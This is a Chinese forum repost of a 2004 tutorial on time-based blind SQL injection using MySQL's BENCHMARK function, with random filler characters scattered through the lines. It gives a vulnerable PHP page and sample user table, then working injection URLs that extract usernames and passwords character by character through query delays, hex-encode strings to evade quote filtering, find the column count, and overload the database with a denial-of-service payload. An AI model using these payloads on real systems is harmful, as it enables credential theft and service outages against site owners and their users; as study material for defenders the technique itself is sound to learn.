找回密码
 立即注册
查看: 2894|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 # F- [: f; K, v) r& c# k$ T
本文作者:SuperHei& M; i4 U. P: q; T8 D# j' s
文章性质:原创
: `  P. N# i; t# s* ^发布日期:2005-01-02. j5 g9 c4 _: C6 ~
完成日期:2004-07-09
# o4 `3 h3 Z: J  m/ x, @第一部
9 ]1 v& J5 P  j8 [& x3 j$ F& ]# S5 c5 k. Z! J& s' `2 W
利用时间推延进行注射---BENCHMARK函数在注射中的利用
5 q6 v5 h3 R7 |6 l6 L4 e9 I3 Z
一.前言/思路" |: {; q9 w7 L" o, t# G- N
8 `5 W$ j0 H" }( O) `+ p
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
) d3 ^$ w; ?( s# I( B1 X$ n
; G) d/ o; ~+ t. v# d  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
2 r5 b; I# G8 U7 N
5 f- A& L/ ~5 B9 c/ h二.关于BENCHMARK函数' E; l* [1 G9 w( x

( |" _8 D8 C, u$ S7 p9 p  在MySQL参考手册里可以看到如下描叙: & y* `4 S' T& W; f2 E; [% }
9 k9 |. f( `; q! }
1 g- t. K$ }' \
--------------------------------------------------------------------------------
$ V, N% w7 y, t  u  R1 |+ S
( a% w6 T' X/ x- u9 p# d9 S$ r. |# F$ FBENCHMARK(count,expr) . ^& }8 d9 R7 T, K/ P* G) n
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 : M2 [8 e7 w4 V  ~7 I& k
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
0 J2 y8 L  p5 y$ w) W+----------------------------------------------+ " s( {$ S& ^$ t6 J5 m
| BENCHMARK(1000000,encode("hello","goodbye")) | ! @7 i" H8 H% b# B  n
+----------------------------------------------+ 2 l/ G: S% \5 \, f$ C3 ?7 H
| 0 | + U+ Q. I' A" g- B
+----------------------------------------------+ " c( P$ m4 C1 m' j
1 row in set (4.74 sec)
% Y% k0 O7 @; F6 u$ s
7 h% d  [, ~! W. K" c  K. v/ A& m报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
$ _4 H, P& d3 V: a- I0 O+ m, o1 D( o4 v! l/ S3 L

5 g( m8 `% d0 J+ W7 k--------------------------------------------------------------------------------
+ n: L* g5 z8 ]5 @3 M6 f( [1 q3 r- O8 Y5 Q. s. u! [# x, v
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: : a$ {3 _/ c- F
: v+ @' D; O; H' ?; N
mysql> select md5( 'test' );
/ d& Y. T  k; o; Y+----------------------------------+
9 F) C* g# L# h7 g3 S) x| md5( 'test' ) |
: s% I& b/ h+ L1 F3 y+----------------------------------+ - i( d5 s; G0 T/ l$ F
| 098f6bcd4621d373cade4e832627b4f6 | 4 k: T5 k: H' f
+----------------------------------+
% q" ^- a% ~% g+ h0 H& r( Y+ Y1 ~1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec - I& N/ ?0 ?* o7 S5 y. t
0 p8 T" W7 S9 G+ |. V- g2 r
mysql> select benchmark( 500000, md5( 'test' ) );
- A+ Z2 y9 T7 K3 y% H( l; N6 Y+------------------------------------+ : U, M% d7 v9 `
| benchmark( 500000, md5( 'test' ) ) | ' r( D! \+ @) s2 `$ k4 D. z% T
+------------------------------------+ 3 U' W6 F; e: V0 j
| 0 | / [6 V7 Y6 U3 c; V
+------------------------------------+ ) z9 }+ `/ K" V% n* U( g9 |. i6 {
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec4 I% Q4 E- a4 P! W6 P

  o; U$ t4 X# K0 \$ ^5 q/ ^" a1 `& _& k
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。   ~+ t# Y; _% g* b. u$ k; G

' O- l3 W1 X  m; C" z三.具体例子
, B7 ~3 \; C+ m2 Q' r
0 ?) v8 N! y6 v; T5 {% u- M& h  首先我们看个简单的php代码:
& |8 G! Z  q) Z, E+ H
7 G5 i+ [; H: L' l0 o0 B. G: G< ?php
; D: K9 ?/ b/ F6 ^, b; Y$servername = "localhost";
, U$ Q3 C" ?/ ~- `$ q4 P$dbusername = "root";
8 p4 @7 [7 C/ V( V# H8 {" h+ B% N$dbpassword = "";
, {  [( w" a) S& y& Q/ ~* y$dbname = "injection";
/ ~% }$ `8 C8 j9 E3 J
. i3 ?' }6 Y& ]/ x7 x6 G( _( amysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
! n: f; g3 y6 l; h: a+ n5 h
9 U, a- [- p' L' z2 e8 {( D& G3 {$sql = "SELECT * FROM article WHERE articleid=$id"; ! `& c" C2 Z6 f( {' L
$result = mysql_db_query($dbname,$sql); * F  E8 e, ^; ~1 M0 n
$row = mysql_fetch_array($result);
$ w, m7 I  {+ e7 B  [# C1 R0 p: R, F1 D$ z7 }& c
if (!$row)
, U1 X' _" S  D/ M' m% J+ ?{
$ t' E( X! z; \' k, x, O, ^5 ^exit; 9 j0 v5 H; `& b, C2 r: H
} / u) b/ E0 L6 @  B1 ?
?>
9 O) |1 ]4 p$ |' A, r ) D$ {1 K/ ?2 o. w; F7 q% i2 J
  l' X5 B  n$ F" _$ r
  数据库injection结构和内容如下:: x  |5 T+ u2 {
  a  y: k! d0 l: b& r
# 数据库 : `injection`
# C9 P) a! G: Q6 t# d8 _- R7 a#
6 \. I# b8 u; H5 J7 ]5 T
$ U  C6 Y) ~( H9 K+ `# -------------------------------------------------------- 6 U8 A4 @& ~! ^) I/ @7 \& g* _
: w% ~  Y+ z& K
#
/ K: R! Z* o: s9 U* C& Y, R# 表的结构 `article` & z8 n0 {. W: v( O
# # P% L- i5 \3 b/ l  ~. W

1 K0 J- o/ K; v! @CREATE TABLE `article` (
# U& w/ M" R! [  g) l2 ``articleid` int(11) NOT NULL auto_increment, # u* J. B9 t+ c7 k4 [
`title` varchar(100) NOT NULL default '',
8 I- n* x" ?0 z`content` text NOT NULL, : h2 n0 B* d7 N% J% \* R9 X
PRIMARY KEY (`articleid`)
5 D; ~0 f8 x9 z" O) ~) TYPE=MyISAM AUTO_INCREMENT=3 ; 2 Q, t8 w/ t4 e* L7 ]) w/ K

$ x' r) Y% s& z/ |# % M4 ]8 E/ ?$ R: R3 {6 P
# 导出表中的数据 `article` # r* {: V. L* h$ t& _/ c
# % W4 H2 f+ b' d& X$ w. X! o

/ L* m; [' s4 M+ l" M' a" W: GINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 1 T& j6 g: G' x
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
; v: F; N. [2 Y$ {# J0 d( |( g6 f: h, o
# -------------------------------------------------------- % c0 x  Z/ [- R6 @+ o" ^1 O

8 |, F% T9 w6 ~2 i, A4 l# C#
9 W8 `. m- G. D; `0 {, t, |$ r# 表的结构 `user`
6 m1 e5 T! s0 m" H#
/ b3 T2 }/ h2 X# ]
* D/ k8 d9 e, j" e- fCREATE TABLE `user` (
) c' E3 Y8 q* O- `5 C& u`userid` int(11) NOT NULL auto_increment,
% {" S: N  _2 _, g3 P. {`username` varchar(20) NOT NULL default '',
1 R, a) m: I4 G, [2 X  h`password` varchar(20) NOT NULL default '',
* c. I; Q/ W; Y8 lPRIMARY KEY (`userid`) 1 ~. Q& {$ \% Y' N# ~
) TYPE=MyISAM AUTO_INCREMENT=3 ; ' K! D' F9 Q) o

8 c* q/ e: S/ w4 d' \# k# P# 5 U6 A3 m% m8 ]0 _
# 导出表中的数据 `user` 6 W5 t: z3 \2 |2 A" T
# 8 u7 T0 i- f- I( C' S) g

/ v$ L& `/ [  VINSERT INTO `user` VALUES (1, 'angel', 'mypass');
5 c4 o6 ]$ W9 b+ @INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');9 E$ N' y% }5 o. w, z; H; [

: l( @1 M) N+ I; c* Y! z6 t: E( Z% g) Z& w7 D. {( v0 _
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
8 y& d3 I8 U) b3 v6 W! b
* U+ \- ]6 M+ k6 Y  I2 f! `id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
/ m& S  K  i/ P! n0 L/ Y / @5 F8 m6 }- g5 [# r8 F& m0 u0 l/ w! o
, ?3 g) B8 }2 m3 }! }
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
1 z2 J/ v0 S: v* Y
3 t+ u: T+ i% b& P- e$ M7 rhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
0 }! r+ D0 F$ a- m/ p ' W9 B9 F/ T9 ?% H' X6 ^+ c
/ d- i" K1 |9 f! E1 v! N+ i
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 : o" d0 H6 n; [9 [* V5 ^

0 i7 F# L$ Z: {  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 # \8 j6 E( u0 o/ a) }
$ I) ]0 K- K. V
第二部) T! r- J" S! X/ U; t+ t

7 e' s. u" R# Q# O6 `9 ^利用BENCHMARK函数进行ddos攻击   q2 v% u7 e; ]$ e

' y$ y0 C5 q( o) O  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:% q$ h. c7 P( V% O

# F# m, W: m: W# R' Bhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))  I. V& V* E+ {$ @9 b

2 T3 p; [4 b9 D9 X/ W) {/ E
' E! X0 C8 d( m, N. n% L" \; [小结: Z& q7 B( @/ Q' V
  [  s& r( ]5 F8 k3 `1 P
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
' u8 z) c0 d( J
! A  r$ O+ P: E& E8 j, |  
  q% [5 x7 v. n; g% j( g9 E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表